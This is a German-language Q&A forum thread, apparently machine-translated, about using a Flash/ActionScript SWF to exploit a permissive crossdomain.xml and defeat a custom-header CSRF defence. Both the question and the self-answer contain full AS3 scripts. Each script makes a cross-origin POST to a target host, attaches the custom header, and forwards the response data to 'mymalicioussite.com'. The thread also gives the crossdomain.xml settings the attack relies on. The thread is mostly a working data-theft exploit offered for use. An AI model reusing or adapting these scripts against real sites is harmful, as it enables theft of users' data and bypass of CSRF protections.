2017-03-26 3 views
0

Ich habe ein Ziel, das schwache CrossDomain.xml hat, aber es verhindert CSRF Angriff auf einen der benutzerdefinierten HTTP-Header. Ich habe folgendes ActionScript auf einigen Webseiten gefunden, das funktioniert einwandfrei, außer dass es nicht den Header setzt.CSRF Mit ActionScript über schwache CrossDomain.xml umgehen

Diese Action sendet eine POST-Anforderung an 'Target.htm' und ich brauche es jeden benutzerdefinierten Header zu setzen, sagen Test Rubrik:

package { 
    import flash.display.Sprite; 
    import flash.events.*; 
    import flash.net.URLRequestMethod; 
    import flash.net.URLRequest; 
    import flash.net.URLLoader; 
    import flash.net.URLVariables; 
    import flash.net.URLRequestHeader; 

    public class FlashTest extends Sprite { 

     public function FlashTest() { 
      // write as3 code here.. 
      //Target URL   
      var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123"); 
      var readFrom:String = "http://192.168.100.4/Target.htm"; 
      var readRequest:URLRequest = new URLRequest(readFrom); 
      readRequest.data = "ThisDoesNotMatter" 
      readRequest.method = URLRequestMethod.POST 
      readRequest.requestHeaders.push(header); 
      var getLoader:URLLoader = new URLLoader(); 
      getLoader.addEventListener(Event.COMPLETE, eventHandler); 
      try 
      { 
       getLoader.load(readRequest); 
      } 
      catch(error:Error) 
      { 

      } 
     } 

     private function eventHandler(event:Event):void 
     { 
      var sendTO:String = "http://mymalicioussite.com"; 
      var sendRequest:URLRequest = new URLRequest(sendTO); 
      sendRequest.method = URLRequestMethod.POST; 
      sendRequest.data = event.target.data; 
      var sendLoader:URLLoader = new URLLoader(); 
      try 
      { 
       sendLoader.load(sendRequest); 
      } 
      catch(error:Error) 
      { 

      } 
      } 
     } 
     } 

crossdomain.xml auf dem Ziel:

<?xml version="1.0"?> 

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> 
<cross-domain-policy> 
    <allow-access-from domain="*" secure="true" /> 
</cross-domain-policy> 

Jede Hilfe wäre willkommen. Ein Arbeitscode mit GET-Anforderung anstelle von POST würde auch funktionieren, da das Ziel sowohl GET- als auch POST-Anforderungen akzeptiert. Soweit ich weiß, ist das Setzen von benutzerdefinierten Headern nur mit einer POST-Anfrage erlaubt, aber eine GET-Anfrage mit irgendeinem Standard-HTTP-Header würde zumindest für mich funktionieren.

Antwort

0

Nach ein paar Tests durchführen, konnte ich das Skript über alle benutzerdefinierten Header setzen erwähnt ändern (mit Ausnahme der Referer und User-Agent-Header, die Browser nicht zulassen):

Auch Dies funktioniert nur, wenn das Ziel und angreifende Maschine sollte folgende crossdomain.xml hat:

<?xml version="1.0"?> 

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross- 
domain-policy.dtd"> 
<cross-domain-policy> 
<allow-access-from domain="*" secure="false" /> 
<allow-http-request-headers-from domain="*" headers="*" secure="false"/> 
</cross-domain-policy> 

und hier ist das AS3-Skript, das für mich gearbeitet:

package { 
import flash.display.Sprite; 
import flash.events.*; 
import flash.net.URLRequestMethod; 
import flash.net.URLRequest; 
import flash.net.URLLoader; 
import flash.net.URLVariables; 
import flash.net.URLRequestHeader; 

public class FlashTest extends Sprite { 

    public function FlashTest() { 
     // write as3 code here.. 

     //Set Header 
     var headers:Array = [new URLRequestHeader("TestHeader", "Test123")]; 

     //Target URL   
     var readFrom:String = "http://192.168.253.133/Target.htm"; 
     var readRequest:URLRequest = new URLRequest(readFrom); 
     readRequest.requestHeaders = headers; 
     readRequest.data = "ThisDoesNotMatter" //POST data 
     readRequest.method = URLRequestMethod.POST 
     //readRequest.requestHeaders.push(); 
     var getLoader:URLLoader = new URLLoader(); 
     getLoader.addEventListener(Event.COMPLETE, eventHandler); 
     try 
     { 
      getLoader.load(readRequest); 
     } 
     catch(error:Error) 
     { 

     } 
    } 

    private function eventHandler(event:Event):void 
    { 
     var sendTO:String = "http://mymalicioussite.com"; 
     var sendRequest:URLRequest = new URLRequest(sendTO); 
     sendRequest.method = URLRequestMethod.POST; 
     sendRequest.data = event.target.data; 
     var sendLoader:URLLoader = new URLLoader(); 
     try 
     { 
      sendLoader.load(sendRequest); 
     } 
     catch(error:Error) 
     { 

     } 
     } 
    } 
}//package